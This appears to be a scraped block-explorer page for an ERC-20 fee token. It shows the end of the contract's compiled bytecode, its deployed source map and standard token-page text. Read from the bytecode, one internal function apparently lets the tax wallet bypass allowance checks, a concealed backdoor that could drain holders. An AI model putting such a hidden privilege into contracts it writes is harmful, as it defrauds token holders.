201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103e0565b6013546106aa9030906001600160a01b031661069c6009600a611388565b6104ca90633b9aca00611396565b6013546001600160a01b031663f305d71947306106db816001600160a01b03165f9081526001602052604090205490565b5f806106ee5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610754573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061077991906113e2565b50506014805462ff00ff60a01b19166201000160a01b17905550565b5f61043f3384846108c4565b6001600160a01b0383166108035760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e0565b6001600160a01b0382166108645760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e0565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109285760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e0565b6001600160a01b03821661098a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e0565b5f81116109eb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e0565b5f80546001600160a01b03858116911614801590610a1657505f546001600160a01b03848116911614155b8015610a2b57506001600160a01b0384163014155b8015610a4057506001600160a01b0383163014155b15610cac57610a656064610a5f600d5485610e3f90919063ffffffff16565b90610ec4565b6014549091506001600160a01b038581169116148015610a9357506013546001600160a01b03848116911614155b8015610ab757506001600160a01b0383165f9081526003602052604090205460ff16155b15610bc557600f54821115610b0e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103e0565b60105482610b30856001600160a01b03165f9081526001602052604090205490565b610b3a919061140d565b1115610b885760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103e0565b610bae6064610a5f600a54600e5411610ba357600654610ba7565b6008545b8590610e3f565b600e80549192505f610bbf83611420565b91905055505b6014546001600160a01b038481169116148015610beb57506001600160a01b0384163014155b15610c1857610c156064610a5f600b54600e5411610c0b57600754610ba7565b6009548590610e3f565b90505b305f90815260016020526040902054601454600160a81b900460ff16158015610c4e57506014546001600160a01b038581169116145b8015610c635750601454600160b01b900460ff165b8015610c725750600c54600e54115b15610caa57601154811115610c9e57610c9e610c9984610c9484601254610f05565b610f05565b610f19565b47610ca847611089565b505b505b8015610d2457305f90815260016020526040902054610ccb90826110c0565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d1b9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610d46908361111e565b6001600160a01b0385165f90815260016020526040902055610d89610d6b838361111e565b6001600160a01b0385165f90815260016020526040902054906110c0565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610dd2858561111e565b60405190815260200160405180910390a350505050565b6004545f906001600160a01b03848116911614610443575080610443565b5f8184841115610e2a5760405162461bcd60e51b81526004016103e091906111bd565b505f610e368486611438565b95945050505050565b5f825f03610e4e57505f610443565b5f610e598385611396565b905082610e66858361144b565b14610ebd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e0565b9392505050565b5f610ebd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061115f565b5f818311610f135782610ebd565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f5f57610f5f61146a565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fb6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fda919061147e565b81600181518110610fed57610fed61146a565b6001600160a01b03928316602091820292909201015260135461101391309116846107a1565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061104b9085905f90869030904290600401611499565b5f604051808303815f87803b158015611062575f80fd5b505af1158015611074573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561042f573d5f803e3d5ffd5b5f806110cc838561140d565b905083811015610ebd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e0565b5f610ebd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e07565b5f818361117f5760405162461bcd60e51b81526004016103e091906111bd565b505f610e36848661144b565b6001600160a01b038116811461119f575f80fd5b50565b5f602082840312156111b2575f80fd5b8135610ebd8161118b565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b5f8060408385031215611203575f80fd5b823561120e8161118b565b946020939093013593505050565b5f805f6060848603121561122e575f80fd5b83356112398161118b565b925060208401356112498161118b565b929592945050506040919091013590565b5f806040838503121561126b575f80fd5b82356112768161118b565b915060208301356112868161118b565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156112e0578085048111156112c4576112c4611291565b60018416156112d257908102905b60019390931c9280026112a9565b935093915050565b5f826112f657506001610443565b8161130257505f610443565b816001811461131857600281146113225761133e565b6001915050610443565b60ff84111561133357611333611291565b50506001821b610443565b5060208310610133831016604e8410600b8410161715611361575081810a610443565b61136d5f1984846112a5565b805f190482111561138057611380611291565b029392505050565b5f610ebd60ff8416836112e8565b808202811582820484141761044357610443611291565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156113f4575f80fd5b5050815160208301516040909301519094929350919050565b8082018082111561044357610443611291565b5f6001820161143157611431611291565b5060010190565b8181038181111561044357610443611291565b5f8261146557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561148e575f80fd5b8151610ebd8161118b565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156114e95783516001600160a01b03168352602093840193909201916001016114c2565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209262e1985eceb5d652b70eeeee2a0cac5971a69c3139c5a3f7553814e745fd1d64736f6c634300081a0033

Deployed Bytecode Sourcemap

3881:8923:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12590:211;;;;;;;;;;-1:-1:-1;12590:211:0;;;;;:::i;:::-;;:::i;:::-;;6431:83;;;;;;;;;;-1:-1:-1;6501:5:0;;;;;;;;;;;;;;;;;6431:83;;;;;;;:::i;:::-;;;;;;;;7314:186;;;;;;;;;;-1:-1:-1;7314:186:0;;;;;:::i;:::-;;:::i;:::-;;;1362:14:1;;1355:22;1337:41;;1325:2;1310:18;7314:186:0;1197:187:1;5024:48:0;;;;;;;;;;;;;;;;;;;1535:25:1;;;1523:2;1508:18;5024:48:0;1389:177:1;6708:95:0;;;;;;;;;;;;;:::i;7696:477::-;;;;;;;;;;-1:-1:-1;7696:477:0;;;;;:::i;:::-;;:::i;6617:83::-;;;;;;;;;;-1:-1:-1;6617:83:0;;4633:1;2226:36:1;;2214:2;2199:18;6617:83:0;2084:184:1;6811:119:0;;;;;;;;;;-1:-1:-1;6811:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6904:18:0;6877:7;6904:18;;;:9;:18;;;;;;;6811:119;2906:148;;;;;;;;;;;;;:::i;11803:162::-;;;;;;;;;;;;;:::i;4847:49::-;;;;;;;;;;;;;;;;12073:472;;;;;;;;;;;;;:::i;2692:79::-;;;;;;;;;;-1:-1:-1;2730:7:0;2757:6;2692:79;;-1:-1:-1;;;;;2757:6:0;;;2419:51:1;;2407:2;2392:18;2692:79:0;2273:203:1;4903:51:0;;;;;;;;;;;;;;;;6522:87;;;;;;;;;;-1:-1:-1;6594:7:0;;;;;;;;;;;;-1:-1:-1;;;6594:7:0;;;;6522:87;;6938:192;;;;;;;;;;-1:-1:-1;6938:192:0;;;;;:::i;:::-;;:::i;4961:56::-;;;;;;;;;;;;;;;;7138:168;;;;;;;;;;-1:-1:-1;7138:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7271:18:0;;;7244:7;7271:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7138:168;12590:211;12669:9;;-1:-1:-1;;;;;12669:9:0;307:10;-1:-1:-1;;;;;12653:25:0;;12645:45;;;;-1:-1:-1;;;12645:45:0;;3076:2:1;12645:45:0;;;3058:21:1;3115:1;3095:18;;;3088:29;-1:-1:-1;;;3133:18:1;;;3126:37;3180:18;;12645:45:0;;;;;;;;;12701:10;:28;;-1:-1:-1;;;;;12701:28:0;;-1:-1:-1;;;;;;12701:28:0;;;;;;12740:53;;307:10;;12771:21;12740:53;;;;;-1:-1:-1;12740:53:0;-1:-1:-1;12740:53:0;12771:21;307:10;12740:53;;;;;;;;;;;;;;;;;;;;;12590:211;:::o;7314:186::-;7414:4;7431:39;307:10;7454:7;7463:6;7431:8;:39::i;:::-;-1:-1:-1;7488:4:0;7314:186;;;;;:::o;6708:95::-;6761:7;4692:15;4633:1;4692:2;:15;:::i;:::-;4676:31;;:13;:31;:::i;:::-;6781:14;;6708:95;:::o;7696:477::-;7828:4;7845:36;7855:6;7863:9;7874:6;7845:9;:36::i;:::-;7892:251;7915:6;307:10;7963:169;8019:37;307:10;8049:6;8019:15;:37::i;:::-;7963:169;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7963:19:0;;;;;;:11;:19;;;;;;;;307:10;7963:33;;;;;;;;;;:37;:169::i;:::-;7892:8;:251::i;:::-;-1:-1:-1;8161:4:0;7696:477;;;;;:::o;2906:148::-;2819:6;;-1:-1:-1;;;;;2819:6:0;307:10;2819:22;2811:67;;;;-1:-1:-1;;;2811:67:0;;;;;;;:::i;:::-;3013:1:::1;2997:6:::0;;2976:40:::1;::::0;-1:-1:-1;;;;;2997:6:0;;::::1;::::0;2976:40:::1;::::0;3013:1;;2976:40:::1;3044:1;3027:19:::0;;-1:-1:-1;;;;;;3027:19:0::1;::::0;;2906:148::o;11803:162::-;2819:6;;-1:-1:-1;;;;;2819:6:0;307:10;2819:22;2811:67;;;;-1:-1:-1;;;2811:67:0;;;;;;;:::i;:::-;4692:15:::1;4633:1;4692:2;:15;:::i;:::-;4676:31;::::0;:13:::1;:31;:::i;:::-;11857:12;:22:::0;4692:15:::1;4633:1;4692:2;:15;:::i;:::-;4676:31;::::0;:13:::1;:31;:::i;:::-;11890:14;:24:::0;11930:27:::1;4692:15;4633:1;4692:2;:15;:::i;:::-;4676:31;::::0;:13:::1;:31;:::i;:::-;11930:27;::::0;1535:25:1;;;1523:2;1508:18;11930:27:0::1;;;;;;;11803:162::o:0;12073:472::-;2819:6;;-1:-1:-1;;;;;2819:6:0;307:10;2819:22;2811:67;;;;-1:-1:-1;;;2811:67:0;;;;;;;:::i;:::-;12137:11:::1;::::0;-1:-1:-1;;;12137:11:0;::::1;;;12136:12;12128:48;;;::::0;-1:-1:-1;;;12128:48:0;;5509:2:1;12128:48:0::1;::::0;::::1;5491:21:1::0;5548:2;5528:18;;;5521:30;5587:25;5567:18;;;5560:53;5630:18;;12128:48:0::1;5307:347:1::0;12128:48:0::1;12219:15;::::0;12187:58:::1;::::0;12204:4:::1;::::0;-1:-1:-1;;;;;12219:15:0::1;4692;4633:1;4692:2;:15;:::i;:::-;4676:31;::::0;:13:::1;:31;:::i;12187:58::-;12256:15;::::0;-1:-1:-1;;;;;12256:15:0::1;:31;12295:21;12340:4;12360:24;12340:4:::0;-1:-1:-1;;;;;6904:18:0;6877:7;6904:18;;;:9;:18;;;;;;;6811:119;12360:24:::1;12399:1;12415::::0;12431:7:::1;2730::::0;2757:6;-1:-1:-1;;;;;2757:6:0;;2692:79;12431:7:::1;12256:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12256:223:0;;;-1:-1:-1;;;;;5980:32:1;;;12256:223:0::1;::::0;::::1;5962:51:1::0;6029:18;;;6022:34;;;;6072:18;;;6065:34;;;;6115:18;;;6108:34;6179:32;;;6158:19;;;6151:61;12453:15:0::1;6228:19:1::0;;;6221:35;5934:19;;12256:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12490:11:0::1;:18:::0;;-1:-1:-1;;;;12519:18:0;-1:-1:-1;;;12519:18:0;;;-1:-1:-1;12073:472:0:o;6938:192::-;7041:4;7058:42;307:10;7082:9;7093:6;7058:9;:42::i;8181:335::-;-1:-1:-1;;;;;8274:19:0;;8266:68;;;;-1:-1:-1;;;8266:68:0;;6930:2:1;8266:68:0;;;6912:21:1;6969:2;6949:18;;;6942:30;7008:34;6988:18;;;6981:62;-1:-1:-1;;;7059:18:1;;;7052:34;7103:19;;8266:68:0;6728:400:1;8266:68:0;-1:-1:-1;;;;;8353:21:0;;8345:68;;;;-1:-1:-1;;;8345:68:0;;7335:2:1;8345:68:0;;;7317:21:1;7374:2;7354:18;;;7347:30;7413:34;7393:18;;;7386:62;-1:-1:-1;;;7464:18:1;;;7457:32;7506:19;;8345:68:0;7133:398:1;8345:68:0;-1:-1:-1;;;;;8424:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8476:32;;1535:25:1;;;8476:32:0;;1508:18:1;8476:32:0;;;;;;;8181:335;;;:::o;8524:2665::-;-1:-1:-1;;;;;8612:18:0;;8604:68;;;;-1:-1:-1;;;8604:68:0;;7738:2:1;8604:68:0;;;7720:21:1;7777:2;7757:18;;;7750:30;7816:34;7796:18;;;7789:62;-1:-1:-1;;;7867:18:1;;;7860:35;7912:19;;8604:68:0;7536:401:1;8604:68:0;-1:-1:-1;;;;;8691:16:0;;8683:64;;;;-1:-1:-1;;;8683:64:0;;8144:2:1;8683:64:0;;;8126:21:1;8183:2;8163:18;;;8156:30;8222:34;8202:18;;;8195:62;-1:-1:-1;;;8273:18:1;;;8266:33;8316:19;;8683:64:0;7942:399:1;8683:64:0;8775:1;8766:6;:10;8758:64;;;;-1:-1:-1;;;8758:64:0;;8548:2:1;8758:64:0;;;8530:21:1;8587:2;8567:18;;;8560:30;8626:34;8606:18;;;8599:62;-1:-1:-1;;;8677:18:1;;;8670:39;8726:19;;8758:64:0;8346:405:1;8758:64:0;8833:17;2757:6;;-1:-1:-1;;;;;8883:15:0;;;2757:6;;8883:15;;;;:45;;-1:-1:-1;2730:7:0;2757:6;-1:-1:-1;;;;;8915:13:0;;;2757:6;;8915:13;;8883:45;:83;;;;-1:-1:-1;;;;;;8945:21:0;;8961:4;8945:21;;8883:83;:119;;;;-1:-1:-1;;;;;;8983:19:0;;8997:4;8983:19;;8883:119;8865:1953;;;9041:33;9070:3;9041:24;9052:12;;9041:6;:10;;:24;;;;:::i;:::-;:28;;:33::i;:::-;9121:13;;9029:45;;-1:-1:-1;;;;;;9113:21:0;;;9121:13;;9113:21;:72;;;;-1:-1:-1;9169:15:0;;-1:-1:-1;;;;;9155:30:0;;;9169:15;;9155:30;;9113:72;:116;;;;-1:-1:-1;;;;;;9207:22:0;;;;;;:18;:22;;;;;;;;9206:23;9113:116;9091:701;;;9282:12;;9272:6;:22;;9264:60;;;;-1:-1:-1;;;9264:60:0;;8958:2:1;9264:60:0;;;8940:21:1;8997:2;8977:18;;;8970:30;9036:27;9016:18;;;9009:55;9081:18;;9264:60:0;8756:349:1;9264:60:0;9399:14;;9389:6;9373:13;9383:2;-1:-1:-1;;;;;6904:18:0;6877:7;6904:18;;;:9;:18;;;;;;;6811:119;9373:13;:22;;;;:::i;:::-;:40;;9343:140;;;;-1:-1:-1;;;9343:140:0;;9442:2:1;9343:140:0;;;9424:21:1;9481:2;9461:18;;;9454:30;9520:28;9500:18;;;9493:56;9566:18;;9343:140:0;9240:350:1;9343:140:0;9514:232;9742:3;9514:201;9586:15;;9574:9;;:27;9573:119;;9678:14;;9573:119;;;9634:12;;9573:119;9514:6;;:32;:201::i;:232::-;9765:9;:11;;9502:244;;-1:-1:-1;9765:9:0;:11;;;:::i;:::-;;;;;;9091:701;9818:13;;-1:-1:-1;;;;;9812:19:0;;;9818:13;;9812:19;:44;;;;-1:-1:-1;;;;;;9835:21:0;;9851:4;9835:21;;9812:44;9808:332;;;9889:235;10120:3;9889:204;9961:16;;9949:9;;:28;9948:122;;10055:15;;9948:122;;;10010:13;;9889:6;;:32;:204::i;:235::-;9877:247;;9808:332;10205:4;10156:28;6904:18;;;:9;:18;;;;;;10249:6;;-1:-1:-1;;;10249:6:0;;;;10248:7;:47;;;;-1:-1:-1;10282:13:0;;-1:-1:-1;;;;;10276:19:0;;;10282:13;;10276:19;10248:47;:79;;;;-1:-1:-1;10316:11:0;;-1:-1:-1;;;10316:11:0;;;;10248:79;:130;;;;;10360:18;;10348:9;;:30;10248:130;10226:581;;;10440:17;;10417:20;:40;10413:184;;;10480:117;10523:51;10527:6;10535:38;10539:20;10561:11;;10535:3;:38::i;:::-;10523:3;:51::i;:::-;10480:16;:117::i;:::-;10645:21;10737:35;10750:21;10737:12;:35::i;:::-;10394:413;10226:581;9014:1804;8865:1953;10834:13;;10830:172;;10909:4;10891:24;;;;:9;:24;;;;;;:39;;10920:9;10891:28;:39::i;:::-;10882:4;10864:24;;;;:9;:24;;;;;;;:66;;;;10950:40;;-1:-1:-1;;;;;10950:40:0;;;;;;;10980:9;1535:25:1;;1523:2;1508:18;;1389:177;10950:40:0;;;;;;;;10830:172;-1:-1:-1;;;;;11030:15:0;;;;;;:9;:15;;;;;;:27;;11050:6;11030:19;:27::i;:::-;-1:-1:-1;;;;;11012:15:0;;;;;;:9;:15;;;;;:45;11084:40;11102:21;:6;11113:9;11102:10;:21::i;:::-;-1:-1:-1;;;;;11084:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11068:13:0;;;;;;;:9;:13;;;;;:56;;;;11140:41;;;11159:21;:6;11170:9;11159:10;:21::i;:::-;11140:41;;1535:25:1;;;1523:2;1508:18;11140:41:0;;;;;;;8593:2596;8524:2665;;;:::o;7508:180::-;7655:10;;7613:15;;-1:-1:-1;;;;;7645:20:0;;;7655:10;;7645:20;7641:39;;-1:-1:-1;7674:6:0;7667:13;;1494:224;1614:7;1650:12;1642:6;;;;1634:29;;;;-1:-1:-1;;;1634:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1674:9:0;1686:5;1690:1;1686;:5;:::i;:::-;1674:17;1494:224;-1:-1:-1;;;;;1494:224:0:o;1726:246::-;1784:7;1808:1;1813;1808:6;1804:47;;-1:-1:-1;1838:1:0;1831:8;;1804:47;1861:9;1873:5;1877:1;1873;:5;:::i;:::-;1861:17;-1:-1:-1;1906:1:0;1897:5;1901:1;1861:17;1897:5;:::i;:::-;:10;1889:56;;;;-1:-1:-1;;;1889:56:0;;10292:2:1;1889:56:0;;;10274:21:1;10331:2;10311:18;;;10304:30;10370:34;10350:18;;;10343:62;-1:-1:-1;;;10421:18:1;;;10414:31;10462:19;;1889:56:0;10090:397:1;1889:56:0;1963:1;1726:246;-1:-1:-1;;;1726:246:0:o;1980:132::-;2038:7;2065:39;2069:1;2072;2065:39;;;;;;;;;;;;;;;;;:3;:39::i;11197:107::-;11254:7;11286:1;11282;:5;11281:15;;11295:1;11281:15;;;-1:-1:-1;11291:1:0;11197:107;-1:-1:-1;11197:107:0:o;11312:483::-;5396:6;:13;;-1:-1:-1;;;;5396:13:0;-1:-1:-1;;;5396:13:0;;;11414:16:::1;::::0;;11428:1:::1;11414:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11414:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11414:16:0::1;11390:40;;11459:4;11441;11446:1;11441:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11441:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11485:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11485:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11441:7;;11485:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11475:4;11480:1;11475:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11475:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11550:15:::1;::::0;11518:62:::1;::::0;11535:4:::1;::::0;11550:15:::1;11568:11:::0;11518:8:::1;:62::i;:::-;11591:15;::::0;:196:::1;::::0;-1:-1:-1;;;11591:196:0;;-1:-1:-1;;;;;11591:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11672:11;;11591:15:::1;::::0;11714:4;;11741::::1;::::0;11761:15:::1;::::0;11591:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5432:6:0;:14;;-1:-1:-1;;;;5432:14:0;;;-1:-1:-1;;;;11312:483:0:o;11973:92::-;12030:10;;:27;;-1:-1:-1;;;;;12030:10:0;;;;:27;;;;;12050:6;;12030:10;:27;:10;:27;12050:6;12030:10;:27;;;;;;;;;;;;;;;;;;;1163:179;1221:7;;1253:5;1257:1;1253;:5;:::i;:::-;1241:17;;1282:1;1277;:6;;1269:46;;;;-1:-1:-1;;;1269:46:0;;12178:2:1;1269:46:0;;;12160:21:1;12217:2;12197:18;;;12190:30;12256:29;12236:18;;;12229:57;12303:18;;1269:46:0;11976:351:1;1350:136:0;1408:7;1435:43;1439:1;1442;1435:43;;;;;;;;;;;;;;;;;:3;:43::i;2120:223::-;2240:7;2275:12;2268:5;2260:28;;;;-1:-1:-1;;;2260:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2299:9:0;2311:5;2315:1;2311;:5;:::i;14:131:1:-;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;69:70;14:131;:::o;150:247::-;209:6;262:2;250:9;241:7;237:23;233:32;230:52;;;278:1;275;268:12;230:52;317:9;304:23;336:31;361:5;336:31;:::i;402:418::-;551:2;540:9;533:21;514:4;583:6;577:13;626:6;621:2;610:9;606:18;599:34;685:6;680:2;672:6;668:15;663:2;652:9;648:18;642:50;741:1;736:2;727:6;716:9;712:22;708:31;701:42;811:2;804;800:7;795:2;787:6;783:15;779:29;768:9;764:45;760:54;752:62;;;402:418;;;;:::o;825:367::-;893:6;901;954:2;942:9;933:7;929:23;925:32;922:52;;;970:1;967;960:12;922:52;1009:9;996:23;1028:31;1053:5;1028:31;:::i;:::-;1078:5;1156:2;1141:18;;;;1128:32;;-1:-1:-1;;;825:367:1:o;1571:508::-;1648:6;1656;1664;1717:2;1705:9;1696:7;1692:23;1688:32;1685:52;;;1733:1;1730;1723:12;1685:52;1772:9;1759:23;1791:31;1816:5;1791:31;:::i;:::-;1841:5;-1:-1:-1;1898:2:1;1883:18;;1870:32;1911:33;1870:32;1911:33;:::i;:::-;1571:508;;1963:7;;-1:-1:-1;;;2043:2:1;2028:18;;;;2015:32;;1571:508::o;2481:388::-;2549:6;2557;2610:2;2598:9;2589:7;2585:23;2581:32;2578:52;;;2626:1;2623;2616:12;2578:52;2665:9;2652:23;2684:31;2709:5;2684:31;:::i;:::-;2734:5;-1:-1:-1;2791:2:1;2776:18;;2763:32;2804:33;2763:32;2804:33;:::i;:::-;2856:7;2846:17;;;2481:388;;;;;:::o;3209:127::-;3270:10;3265:3;3261:20;3258:1;3251:31;3301:4;3298:1;3291:15;3325:4;3322:1;3315:15;3341:375;3429:1;3447:5;3461:249;3482:1;3472:8;3469:15;3461:249;;;3532:4;3527:3;3523:14;3517:4;3514:24;3511:50;;;3541:18;;:::i;:::-;3591:1;3581:8;3577:16;3574:49;;;3605:16;;;;3574:49;3688:1;3684:16;;;;;3644:15;;3461:249;;;3341:375;;;;;;:::o;3721:902::-;3770:5;3800:8;3790:80;;-1:-1:-1;3841:1:1;3855:5;;3790:80;3889:4;3879:76;;-1:-1:-1;3926:1:1;3940:5;;3879:76;3971:4;3989:1;3984:59;;;;4057:1;4052:174;;;;3964:262;;3984:59;4014:1;4005:10;;4028:5;;;4052:174;4089:3;4079:8;4076:17;4073:43;;;4096:18;;:::i;:::-;-1:-1:-1;;4152:1:1;4138:16;;4211:5;;3964:262;;4310:2;4300:8;4297:16;4291:3;4285:4;4282:13;4278:36;4272:2;4262:8;4259:16;4254:2;4248:4;4245:12;4241:35;4238:77;4235:203;;;-1:-1:-1;4347:19:1;;;4423:5;;4235:203;4470:42;-1:-1:-1;;4495:8:1;4489:4;4470:42;:::i;:::-;4548:6;4544:1;4540:6;4536:19;4527:7;4524:32;4521:58;;;4559:18;;:::i;:::-;4597:20;;3721:902;-1:-1:-1;;;3721:902:1:o;4628:140::-;4686:5;4715:47;4756:4;4746:8;4742:19;4736:4;4715:47;:::i;4773:168::-;4846:9;;;4877;;4894:15;;;4888:22;;4874:37;4864:71;;4915:18;;:::i;4946:356::-;5148:2;5130:21;;;5167:18;;;5160:30;5226:34;5221:2;5206:18;;5199:62;5293:2;5278:18;;4946:356::o;6267:456::-;6355:6;6363;6371;6424:2;6412:9;6403:7;6399:23;6395:32;6392:52;;;6440:1;6437;6430:12;6392:52;-1:-1:-1;;6485:16:1;;6591:2;6576:18;;6570:25;6687:2;6672:18;;;6666:25;6485:16;;6570:25;;-1:-1:-1;6666:25:1;6267:456;-1:-1:-1;6267:456:1:o;9110:125::-;9175:9;;;9196:10;;;9193:36;;;9209:18;;:::i;9595:135::-;9634:3;9655:17;;;9652:43;;9675:18;;:::i;:::-;-1:-1:-1;9722:1:1;9711:13;;9595:135::o;9735:128::-;9802:9;;;9823:11;;;9820:37;;;9837:18;;:::i;9868:217::-;9908:1;9934;9924:132;;9978:10;9973:3;9969:20;9966:1;9959:31;10013:4;10010:1;10003:15;10041:4;10038:1;10031:15;9924:132;-1:-1:-1;10070:9:1;;9868:217::o;10624:127::-;10685:10;10680:3;10676:20;10673:1;10666:31;10716:4;10713:1;10706:15;10740:4;10737:1;10730:15;10756:251;10826:6;10879:2;10867:9;10858:7;10854:23;10850:32;10847:52;;;10895:1;10892;10885:12;10847:52;10927:9;10921:16;10946:31;10971:5;10946:31;:::i;11012:959::-;11274:4;11322:3;11311:9;11307:19;11353:6;11342:9;11335:25;11396:6;11391:2;11380:9;11376:18;11369:34;11439:3;11434:2;11423:9;11419:18;11412:31;11463:6;11498;11492:13;11529:6;11521;11514:22;11567:3;11556:9;11552:19;11545:26;;11606:2;11598:6;11594:15;11580:29;;11627:1;11637:195;11651:6;11648:1;11645:13;11637:195;;;11716:13;;-1:-1:-1;;;;;11712:39:1;11700:52;;11781:2;11807:15;;;;11772:12;;;;11748:1;11666:9;11637:195;;;-1:-1:-1;;;;;;;11888:32:1;;;;11883:2;11868:18;;11861:60;-1:-1:-1;;11952:3:1;11937:19;11930:35;11849:3;11012:959;-1:-1:-1;;;11012:959:1:o

Swarm Source

ipfs://9262e1985eceb5d652b70eeeee2a0cac5971a69c3139c5a3f7553814e745fd1d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.